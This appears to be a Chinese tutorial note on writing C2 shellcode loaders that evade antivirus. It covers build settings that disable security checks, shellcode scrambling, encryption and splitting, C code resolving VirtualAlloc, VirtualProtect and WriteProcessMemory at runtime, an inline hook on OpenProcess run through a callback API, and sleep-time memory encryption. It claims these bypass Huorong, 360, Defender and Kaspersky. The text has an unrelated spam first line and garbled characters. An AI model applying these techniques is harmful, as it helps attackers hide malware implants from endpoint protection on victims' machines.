設(shè)計(jì)網(wǎng)站的元素萬(wàn)網(wǎng)域名管理入口
#C2遠(yuǎn)控-ShellCode-認(rèn)知&環(huán)境
1.創(chuàng)建工程時(shí)關(guān)閉SDL檢查
2.屬性->C/C++->代碼生成->運(yùn)行庫(kù)->多線程 (/MT)如果是debug則設(shè)置成MTD
3.屬性->C/C++->代碼生成->禁用安全檢查GS
4.關(guān)閉生成清單 屬性->鏈接器->清單文件->生成清單 選擇否
#C2遠(yuǎn)控-ShellCode-分析&提取
ShellCode的本質(zhì)其實(shí)就是一段可以自主運(yùn)行的代碼。
它沒(méi)有任何文件結(jié)構(gòu),它不依賴任何編譯環(huán)境,無(wú)法像exe一樣雙擊運(yùn)行,
因此需要通過(guò)控制程序流程跳轉(zhuǎn)到shellcode地址加載上去執(zhí)行shellcode。
目的:殺毒和感知平臺(tái)如何定性
分析:OD&xdb&ida
提取:010Editor
加載:各種Loader方法執(zhí)行
流程:ShellCode->Loader->EXE
思路:
1、Shellcode自寫打亂-讓殺毒不認(rèn)識(shí)
2、Shellcode加密混淆-讓殺毒不知道
3、Shellcode分離隱藏-讓殺毒找不到
4、Shellcode注入回調(diào)-讓殺毒繞圈圈
內(nèi)存免殺是將shellcode直接加載進(jìn)內(nèi)存,由于沒(méi)有文件落地,因此可以繞過(guò)文件掃描策略的查殺。為了使內(nèi)存免殺的效果更好,在申請(qǐng)內(nèi)存時(shí)一般采用漸進(jìn)式申請(qǐng)一塊可讀寫內(nèi)存,在運(yùn)行時(shí)改為可執(zhí)行,在執(zhí)行的時(shí)候遵循分離免殺的思想。分離免殺包含對(duì)特征和行為的分離兩個(gè)維度,把shellcode從放在程序轉(zhuǎn)移到加載進(jìn)內(nèi)存,把整塊的ShellCode通過(guò)分塊傳輸?shù)姆椒ㄉ蟼魅缓笤倨唇?#xff0c;這些體現(xiàn)了基本的"分離"思想。
補(bǔ)充:
編輯器設(shè)置 VS
https://mp.weixin.qq.com/s/UJlVvagNjmy9E-B-XjBHyw
編譯器差異 G++ GCC
https://blog.csdn.net/weixin_41012767/article/details/129365597
突破內(nèi)存掃描
項(xiàng)目參考:https://github.com/wangfly-me/LoaderFly
??C2遠(yuǎn)控-Loader加載器-動(dòng)態(tài)API
->繞過(guò)殺毒對(duì)導(dǎo)入表的檢測(cè)定性
例:動(dòng)態(tài)調(diào)用VirtualProtect
typedef BOOL(WINAPI* vp)(
LPVOID ?????Address,
DWORD ??????size,
DWORD ??????New,
PDWORD ?????Old
);
vp vip = (vp)GetProcAddress(
GetModuleHandleA("Kernel32.dll"),
"VirtualProtect"
);
演示:對(duì)回調(diào)loader進(jìn)行某函數(shù)動(dòng)態(tài)API加載
typedef LPVOID(WINAPI* VAlloc)(
????LPVOID ?????lpAddress,
????SIZE_T ?????dwSize,
????DWORD ??????flAllocationType,
????DWORD ??????flProtect
????);
VAlloc VAlloc = (VAlloc)GetProcAddress(
????GetModuleHandleA("Kernel32.dll"),
????"VirtualAlloc"
);
??C2遠(yuǎn)控-Loader加載器-InlineHook
->繞過(guò)殺毒對(duì)內(nèi)存掃描檢測(cè)定性
InlineHook又稱為內(nèi)聯(lián)Hook,是一種強(qiáng)大而又靈活的Hook技術(shù)。
Inline Hook的主要思想就是直接修改目標(biāo)函數(shù)的代碼,
通常是在目標(biāo)函數(shù)的開(kāi)頭插入一個(gè)跳轉(zhuǎn)指令(jmp)。
這個(gè)跳轉(zhuǎn)指令會(huì)將程序的執(zhí)行流跳轉(zhuǎn)到我們自定義的函數(shù)中。
實(shí)現(xiàn)方式:
X86:
// 方式一,使用jmp相對(duì)地址跳轉(zhuǎn)
jmp <相對(duì)地址> ??; E9 <相對(duì)地址>
// 方式二,使用寄存器jmp絕對(duì)地址跳轉(zhuǎn)
mov eax, <絕對(duì)地址> ??; B8 <絕對(duì)地址>
jmp eax ????????????; FF E0
// 方式三,使用push ret絕對(duì)地址跳轉(zhuǎn)
push <絕對(duì)地址> ??; 68 <絕對(duì)地址>
ret ????????????; C3
X64:
// 方式二,使用寄存器jmp絕對(duì)地址跳轉(zhuǎn)
mov r12, <絕對(duì)地址> ??; 49 BC <絕對(duì)地址>
jmp r12 ????????????; 41 FF E4
// 方式三,使用push ret絕對(duì)地址跳轉(zhuǎn)
mov r12, <絕對(duì)地址> ??; 49 BC <絕對(duì)地址>
push r12 ????????????; 41 54 <絕對(duì)地址>
ret ????????????????; C3
注意事項(xiàng):
1.E9方式替換5個(gè)字節(jié),B8方式替換7個(gè)字節(jié)。
2.原函數(shù)的內(nèi)存保護(hù)屬性在代碼替換后要進(jìn)行恢復(fù),不然可能導(dǎo)致hook不成功。
3.保證原函數(shù)可正常運(yùn)行,需在hook執(zhí)行目標(biāo)函數(shù)中執(zhí)行原函數(shù)并把返回值進(jìn)行返回。
4.為了保證下次原函數(shù)被調(diào)用時(shí)繼續(xù)執(zhí)行hook,所以在執(zhí)行完原函數(shù)后再次進(jìn)行替換使得下次原函數(shù)被調(diào)用時(shí)再次進(jìn)入hook函數(shù)。
拓展技術(shù):
API hook大致有以下幾種方式:
1、Inline hook,應(yīng)用層的注入hook,通過(guò)在內(nèi)存中找到想要hook函數(shù)地址,并在其之前加入自己構(gòu)造的跳轉(zhuǎn)指令,當(dāng)被hook位置執(zhí)行時(shí),便可以跳轉(zhuǎn)到hook使用者自己編寫的執(zhí)行代碼,在其執(zhí)行完畢后,還原被修改的字節(jié),接著執(zhí)行正常流程。
2、IAT hook,導(dǎo)入表hook,通過(guò)修改導(dǎo)入表中某函數(shù)的地址到自己補(bǔ)丁函數(shù)來(lái)實(shí)現(xiàn)。
3、SSDT hook,內(nèi)核層的hook技術(shù),通過(guò)修改系統(tǒng)服務(wù)表中某個(gè)服務(wù)函數(shù)的地址到自己的補(bǔ)丁函數(shù)來(lái)實(shí)現(xiàn)。
4、IRP hook,內(nèi)核層的hook技術(shù),通過(guò)修改IRP結(jié)構(gòu)體中某個(gè)成員變量指向自己的補(bǔ)丁函數(shù)來(lái)實(shí)現(xiàn)。
例子:
SetHook->MessageBoxA->MyMessageBoxA
??C2遠(yuǎn)控-DF-動(dòng)態(tài)調(diào)用&InlineHook&混淆
1、動(dòng)態(tài)調(diào)用:
typedef BOOL(WINAPI* Write)(
HANDLE ?????hprocess,
LPVOID ?????BaseAddr,
LPCVOID ????BUffer,
SIZE_T ?????Size,
SIZE_T* NumberOfBytes
);
Write Writer = (Write)GetProcAddress(
GetModuleHandleA("Kernel32.dll"),
"WriteProcessMemory"
);
typedef BOOL(WINAPI* vp)(
LPVOID ?????Address,
DWORD ??????size,
DWORD ??????New,
PDWORD ?????Old
);
vp vip = (vp)GetProcAddress(
GetModuleHandleA("Kernel32.dll"),
"VirtualProtect"
);
2、InlineHook
->OpenProcess函數(shù)進(jìn)行InlineHook
//這里是獲取我們需要hook的api的地址,我們這里是hook OpenProcess這個(gè)api
hookFunc = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "OpenProcess");
//這里構(gòu)建jmp指令
Newbyte[0] = '\xE9';
//這里加1是為了不把jmp給覆蓋,然后把偏移地址賦值到NewByte中
*(DWORD*)(Newbyte + 1) = (DWORD)FuncAddr - (DWORD)hookFunc - 5;
//這里就是把定義好的跳轉(zhuǎn)指令寫入到我們需要hook的api的前5個(gè)字節(jié)中
Writer(GetCurrentProcess(), hookFunc, Newbyte, 5, &d);
//這個(gè)api作用是利用第一個(gè)參數(shù)(回調(diào)函數(shù))來(lái)執(zhí)行我們修改了前5個(gè)字節(jié)的api
EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)hookFunc, LGRPID_INSTALLED, NULL);
??C2遠(yuǎn)控-卡巴-動(dòng)態(tài)調(diào)用&InlineHook&沙箱
一種規(guī)避殺軟檢測(cè)的技術(shù)就是內(nèi)存加密技術(shù)。由于殺軟并不是一直掃描內(nèi)存,而是間隙性的掃描敏感內(nèi)存,因此可以在cs的shellcode調(diào)用sleep休眠將可執(zhí)行內(nèi)存區(qū)域加密,在休眠結(jié)束時(shí)再將內(nèi)存解密來(lái)規(guī)避殺軟內(nèi)存掃描達(dá)到免殺的目的?;谝陨显?#xff0c;結(jié)合想法進(jìn)行了實(shí)現(xiàn),成功實(shí)現(xiàn)動(dòng)態(tài)免殺火絨、360、defender、卡巴等
參考:https://mp.weixin.qq.com/s/nD7RLhPpBC9Gqg_c1glNzQ